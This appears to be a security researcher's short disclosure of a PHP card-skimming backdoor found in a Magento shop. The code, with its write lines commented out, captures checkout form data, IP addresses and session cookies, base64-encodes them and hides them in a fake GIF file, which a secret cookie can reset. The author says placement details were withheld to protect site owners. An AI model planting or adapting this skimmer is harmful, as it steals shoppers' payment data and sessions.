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Magento Exploit - Base64 Encode of Form Data into gif File
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| <?php | |
| if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) { | |
| $ARINFO = $_POST; | |
| $ARINFO['date'] = $_SERVER['REQUEST_TIME']; | |
| $ARINFO['ip'] = $_SERVER['REMOTE_ADDR']; | |
| $ARINFO['url'] = $_SERVER['REQUEST_URI']; | |
| if(isset($_COOKIE['frontend'])) $ARINFO['cookie'] = $_COOKIE['frontend']; | |
| if((strpos($_SERVER['REQUEST_URI'], 'checkout/onepage')) or (strpos($_SERVER['REQUEST_URI'], 'firecheckout')) or (strpos($_SERVER['REQUEST_URI'], 'onestepcheckout'))) | |
| { | |
| //$log_entry = base64_encode(serialize($ARINFO)) . "\n"; | |
| //file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', $log_entry, FILE_APPEND|LOCK_EX); | |
| } | |
| } | |
| if (isset($_COOKIE['3424ab90180b0e24133ab8981a00d72e']) AND ($_COOKIE['3424ab90180b0e24133ab8981a00d72e'] == '57bf2419a27d6ccaa6d0800c9b38d90f')) | |
| { | |
| //file_put_contents('D:/Magento/Shop/Web/media/catalog/product/s/t/st7512_300s_ol.gif', "GIF\n"); | |
| } |
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I purposely avoid disclosing ALL the details of these exploits I find. I want to help site owners secure their sites, not help black hats with their skillset. For that reason, the exact placement of this code and subsequent code responsible for its execution has been left out.